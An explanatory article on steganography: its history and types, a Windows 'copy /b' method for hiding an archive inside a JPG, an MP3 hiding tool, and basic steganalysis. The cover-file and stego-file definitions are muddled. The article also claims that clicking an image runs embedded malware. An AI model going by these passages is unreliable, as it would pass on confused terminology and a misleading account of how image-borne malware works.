Steganography methods reduce the chance of a message being detected. If the message is also encrypted then it provides another layer of protection. Therefore, some Steganographic methods combine traditional Cryptography with Steganography.

Steganographic techniques have been used for ages. The aim of steganographic communication back then and now, in modern applications, is the same: to hide secret data in an innocently looking cover and send it to the proper recipient who is aware of the information hiding procedure. In an ideal situation the existence of hidden communication cannot be detected by third parties.

For Example: In ancient Greece, people wrote messages on the wood, and then covered it with wax upon which an innocent covering message was written.

Depending on the nature of cover file, steganography can be divided into five types:

· Text Steganography

· Image Steganography

· Audio Steganography

Video Steganography    

· Protocol Steganography

 

Steganography Terms

· Cover File: A file which has hidden information inside of it.

· Stego File: A file within which information is hidden.

· Redundant Bits – Pieces of information inside a Cover File which can be overwritten or altered without damaging the file.

· Message: The data to be hidden or extracted.

Types of Steganography

Steganography can be split into two types, these are Fragile and Robust.

· Fragile steganography involves embedding information into a file which is destroyed if the file is modified. It is useful in situations where it is important to prove that the file has not been tampered with, such as using a file as evidence in a court of law.

· Robust marking aims to embed information into a file which cannot easily be destroyed. There are two main types of robust marking.

o Fingerprinting involves hiding a unique identifier for the customer who originally acquired the file and therefore is allowed to use it.

o Watermarks identify the copyright owner of the file, not the customer. Whereas fingerprints are used to identify people who violate the license agreement watermarks help with prosecuting those who have an illegal copy. Watermarks are typically hidden to prevent their detection and removal

Non ethical Steganography

· With Steganography hackers can embed all sorts of malware to an unsuspecting user. Typically an image file is attached to an email with an attractive header the user clicks on it and the embedded file gets executed.

· Terrorists can send messages to communicate with each other.

Steganography Techniques

Steganography using Windows Command Prompt

This method is rather basic and isn’t especially secure, but is still a valid way of hiding a file inside another file and making it invisible. It’s done simply by using the Command Prompt and the DOS Copy command and joining the files together. Place the Image file and secret document in a folder.

Zip the secret message document i.e message.txt using WinRar, 7Zip, etc.

Open the command prompt to join this two file.

copy /b [cover_image] + [compress_file_to_hide] [image_result_name] in my case it is copy /b image.jpg + message.rar stegoimage.jpg and then press enter. The /b tells the copy command that the file is a binary file and the + sign simply tells copy to append the 2nd file to the 1st.

After that you can get the stegoimage which is similar to the cover image. Data extraction from this file is very easy. For seeing the hidden message file you have to change the file extension i.e from .jpg to .rar.

After getting the rar file you have to extract it to get the desired secret message.

Steganography using MP3 File Hider

MP3 File Hider hides any type of file inside MP3 without changing its size and sound quality. The hidden file is encrypted and can be revealed only with password.

Select the container MP3 file. Select the file you want to hide, after analyzing, software will show the size of hidden file. This size cannot be more than of container mp3 file. Enter the password and click hide button and you can get the desired stego mp3 file in the same folder.

 

Select the container stego MP3 file. Enter the password and click Reveal button and you can get the secret message. Please note wrong password will cause damaged result file. 

 

Steganalysis

Attempting to detect the use of steganography is called steganalysis. The primary step of this process is to identify a suspected stego media. After that steganalysis process determines whether that media contains hidden message or not and then try to recover the message from it.

Hiding a message will most likely leave detectable traces in the cover medium. The information hiding process changes the statistical properties of the cover, which is a steganalyst attempts to detect. The process of attempting to detect statistical traces is called statistical steganalysis.

Steganalysis Techniques

The properties of electronic media are being changed after hiding any object into that. This can result in the form of degradation in terms of quality or unusual characteristics of the media: Steganalysis techniques based on unusual pattern in the media or Visual Detection of the same.

If we have a copy of original file it can be compared to the suspect file. Many tools can be used for viewing and comparing the contents of a hidden file. We can use notepad and hexeditor to identify inconsistence and patterns.

Conclusion

The methods used in the science of steganography have advanced a lot over the past centuries, especially with the rise of the computer era. Steganography, especially combined with cryptography, is a powerful tool which enables people to communicate without possible eavesdroppers even knowing there is a form of communication in the first place As more and more techniques of hiding information are developed and improved, the methods of detecting the use of steganography also advance.

• References https://www.cs.bham.ac.uk/~mdr/teaching/modules03/security/students/SS5/Steganography.htm